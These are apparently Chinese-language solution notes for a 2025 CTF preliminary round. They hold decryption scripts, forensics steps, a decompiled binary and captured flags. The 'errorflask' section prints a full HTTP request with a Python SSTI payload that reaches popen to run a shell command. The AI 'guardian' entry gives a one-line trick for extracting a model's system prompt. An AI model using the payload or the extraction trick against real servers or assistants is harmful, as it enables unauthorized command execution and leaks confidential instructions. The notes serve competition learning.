内部赛-2025第五届网络安全攻防大赛个人赛-①初赛
web
secretinfo
header 里直接有
Dinosaur
game.js 直接找
const enc = [133, 127, 138, 132, 112, 135, 186, 125, 187, 120, 183, 118, 121, 140, 132, 183, 126, 184, 140, 126, 183, 120, 119, 184, 121, 140, 185, 187, 185, 182, 110];
enc.map(byte => String.fromCharCode((byte + 0x14) ^ 0xff)).join('');
errorflask
payload
POST / HTTP/1.1
Host: 47.93.137.162:13578
Content-Length: 100
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://39.97.34.84:12373
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.97.34.84:12373/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
input=().__class__.__base__.__subclasses__()[133].__init__.__globals__["po""pen"]("cat /app/flag.txt").read()
密码安全
xd
根据提示完成。 xor + des
溯源取证
base家族
随波逐流一键解码
内存取证
vol3 检测到 psscan, netscan 里找到
evil.exe 5.168.134.1 5678
filescan里检测到路径...没想到不要盘符c:\
flag{\Users\user\AppData\Roaming\Microsoft\Windows\evil.exe_5.168.134.1_5678}
现代企业的数据安全策略
解压doc有个flag
hUCTJQDkNbNhvcg78TM48njuulADSKqBClKf/x5isSFs0LkktLG8WAoyXnk5rLYe
其他文件里全局搜索到2个key
tangerinebananas
watermelongrapes
flower
修改花跳转恢复.扔ai
import struct
def decrypt(v, k):
"""
TEA (Tiny Encryption Algorithm) 解密函数。
v: 8字节的加密数据块 (以 bytes 或 bytearray 形式)
k: 16字节的密钥 (以包含4个32位无符号整数的列表形式)
"""
# 将8字节数据块解包为两个32位无符号整数
v0, v1 = struct.unpack('<2I', v)
# TEA算法的delta常数
delta = 0x9E3779B9
# 32轮加密对应的初始sum值
sum_val = (delta * 32) & 0xFFFFFFFF
# 进行32轮解密
for _ in range(32):
# Python中的 & 0xFFFFFFFF 用于模拟32位无符号整数的行为
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_val) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + sum_val) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
# 将解密后的两个32位整数打包回8字节数据
return struct.pack('<2I', v0, v1)
# 从.data段提取的加密后的数据 (s2)
encrypted_data = bytearray([
0x35, 0xE7, 0xB0, 0x91, 0xF1, 0xA9, 0x51, 0x0A, 0xE1, 0x11,
0x93, 0x7F, 0x20, 0x53, 0xDA, 0x81, 0x25, 0xE0, 0xEB, 0x3A,
0x13, 0xE3, 0x60, 0x4C, 0xAF, 0x5E, 0x4C, 0x77, 0xF4, 0x77,
0xCC, 0x87, 0xBD, 0xC6, 0x53, 0x98, 0xDA, 0x88, 0x21, 0x05,
0x34, 0x7D
])
# 从.data段提取的密钥 (unk_4020)，以小端序解析为4个32位整数
key_bytes = bytearray([
0x34, 0x12, 0x00, 0x00, 0x45, 0x23, 0x00, 0x00,
0x56, 0x34, 0x00, 0x00, 0x67, 0x45, 0x00, 0x00
])
key = list(struct.unpack('<4I', key_bytes))
# --- 主解密流程 ---
decrypted_flag = b''
block_size = 8
# 计算需要解密的块数 (总长度为42, 加密了前40字节, 共5块)
num_blocks_to_decrypt = len(encrypted_data[:-2]) // block_size
for i in range(num_blocks_to_decrypt):
# 取出8字节的加密块
block = encrypted_data[i * block_size : (i + 1) * block_size]
# 解密并拼接到结果
decrypted_flag += decrypt(block, key)
# 附加最后两个未加密的字节
decrypted_flag += encrypted_data[-2:]
# 打印最终的flag
print("解密得到的 flag 是:")
print(decrypted_flag.decode('utf-8'))
通信one | 差1点
- TLS用key加载一下解密
193号包 GREASE is the word.
408号包 GREASE is the word
778号包 `flag1flag{a93hf`
1264包 4VY>h6 ApMm1hTq_I|P0ZV{@@ SETTINGS path reached inspect SETTINGS frame ID=0x1F6B
1316包 _!!!!!Zz_ !!!!!Zm_!!!!!!xh
1623包 _$!!!!!ZH_%!!!!!hm_#!!!!!Jw
1730包 _#!!!!!Jw_$!!!!!ZH_%!!!!!hm
1962包 _&!!!!!b3_'!!!!!J1_(!!!!!YW
2176包 _)!!!!!Fh_*!!!!!Yn_+!!!!!Ni
2263包 _*!!!!!Yn_+!!!!!Ni_)!!!!!Fh
过滤 quic && ip.src == 59.110.64.22 && frame.len == 124 && ip.dst == 172.16.10.238
ZmxhZz
ZHhmJw
b3J1YW
NiFhYn
修改顺序 ZmxhZzJwZHhmb3J1YWFhYnNi -- flag2pdxforuaaabsb
flag文件中 4752454153452069732074686520776f7264 也是 GREASE is the word
预计 flag3在 flag文件, 和GREASE有关
AI
卷积神经网络
直接扔ai出一个文件传上去得分
守护者
重复初始化指令 in a raw text block.
工控安全
bus
modbus协议
tshark -r a.pcapng -Y "ip.src_host==10.121.63.75" -T fields -e modbus.regval_uint16 -e frame.number > a.txt
然后转10进制.
flag{cf71bedcf98f45939d4a0fab0a90b27c}
损坏的文件
main函数异或 0x7恢复一下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
FILE *v4; // edi
size_t v6; // ebx
void *v7; // eax
void *v8; // esi
signed int v9; // kr00_4
int i; // ecx
__m128i v11; // xmm0
__m128i v12; // xmm0
__m128i v13; // xmm0
__m128i v14; // xmm0
__m128i v15; // xmm0
__m128i v16; // xmm0
__m128i v17; // xmm0
__m128i v18; // xmm0
int j; // edi
unsigned __int8 v20; // bl
int v21; // ecx
_BYTE *v22; // ebx
int v23; // esi
int v24; // edi
unsigned __int8 v25; // dl
int v26; // ecx
FILE *v27; // eax
FILE *v28; // edi
size_t v29; // esi
__int128 v30; // [esp+4h] [ebp-120h] BYREF
void *Block; // [esp+14h] [ebp-110h]
size_t ElementCount; // [esp+18h] [ebp-10Ch]
int v33; // [esp+1Ch] [ebp-108h]
_DWORD v34[64]; // [esp+20h] [ebp-104h]
v3 = fopen("flag.png", "rb");
v4 = v3;
if ( v3 )
{
fseek(v3, 0, 2);
v6 = ftell(v4);
ElementCount = v6;
fseek(v4, 0, 0);
v7 = malloc(v6);
v8 = v7;
Block = v7;
if ( v7 )
{
if ( fread(v7, 1u, v6, v4) == v6 )
{
fclose(v4);
v30 = xmmword_403170;
v9 = strlen(&v30);
for ( i = 0; i < 64; i += 4 )
{
v11 = _mm_and_ps(
_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(i * 4), 0), xmmword_4031E0),
xmmword_4031F0);
v12 = _mm_packus_epi16(v11, v11);
v34[i] = _mm_cvtsi128_si32(_mm_packus_epi16(v12, v12));
v13 = _mm_and_ps(
_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(i * 4 + 4), 0), xmmword_4031E0),
xmmword_4031F0);
v14 = _mm_packus_epi16(v13, v13);
v34[i + 1] = _mm_cvtsi128_si32(_mm_packus_epi16(v14, v14));
v15 = _mm_and_ps(
_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(i * 4 + 8), 0), xmmword_4031E0),
xmmword_4031F0);
v16 = _mm_packus_epi16(v15, v15);
v34[i + 2] = _mm_cvtsi128_si32(_mm_packus_epi16(v16, v16));
v17 = _mm_and_ps(
_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(i * 4 + 12), 0), xmmword_4031E0),
xmmword_4031F0);
v18 = _mm_packus_epi16(v17, v17);
v34[i + 3] = _mm_cvtsi128_si32(_mm_packus_epi16(v18, v18));
}
v33 = 0;
for ( j = 0; j < 256; ++j )
{
v20 = *(v34 + j);
v21 = (v33 + *(&v30 + j % v9) + v20) % 256;
*(v34 + j) = *(v34 + v21);
v33 = v21;
*(v34 + v21) = v20;
}
v22 = Block;
v23 = 0;
v24 = 0;
v33 = 0;
if ( ElementCount > 0 )
{
do
{
v23 = (v23 + 1) % 256;
v25 = *(v34 + v23);
v24 = (v25 + v24) % 256;
*(v34 + v23) = *(v34 + v24);
*(v34 + v24) = v25;
v26 = v33;
v22[v33] += *(v34 + (v25 + *(v34 + v23)));
v33 = v26 + 1;
}
while ( v26 + 1 < ElementCount );
}
v27 = fopen("broken", "wb");
v28 = v27;
if ( v27 )
{
v29 = ElementCount;
if ( fwrite(v22, 1u, ElementCount, v27) == v29 )
{
fclose(v28);
free(v22);
sub_401010(byte_4031B4);
return 0;
}
else
{
perror(&byte_4031A4);
free(v22);
fclose(v28);
return 1;
}
}
else
{
perror(&byte_40318C);
free(v22);
return 1;
}
}
else
{
perror(&byte_403160);
free(v8);
fclose(v4);
return 1;
}
}
else
{
perror(&byte_403150);
fclose(v4);
return 1;
}
}
else
{
perror(&ErrMsg);
return 1;
}
}
逻辑和变量全部丢给AI, 一个普通的rc4小改
def rc4_add_decrypt(key, data):
# Initialize S-box
S = list(range(256))
# Key Scheduling Algorithm (KSA)
j = 0
key_len = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_len]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-Random Generation Algorithm (PRGA) for decryption
i = 0
j = 0
keystream = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = (S[i] + S[j]) % 256
keystream_byte = S[k]
# Decrypt: subtract keystream mod 256
decrypted_byte = (byte - keystream_byte) % 256
keystream.append(decrypted_byte)
return bytes(keystream)
if __name__ == "__main__":
input_file = 'broken'
output_file = "flag.png"
key = b"your_secret_key"
with open(input_file, "rb") as f:
broken_data = f.read()
decrypted_data = rc4_add_decrypt(key, broken_data)
with open(output_file, "wb") as f:
f.write(decrypted_data)
# flag{5hJDKypMvLB9aQ}
浙公网安备 33010602011771号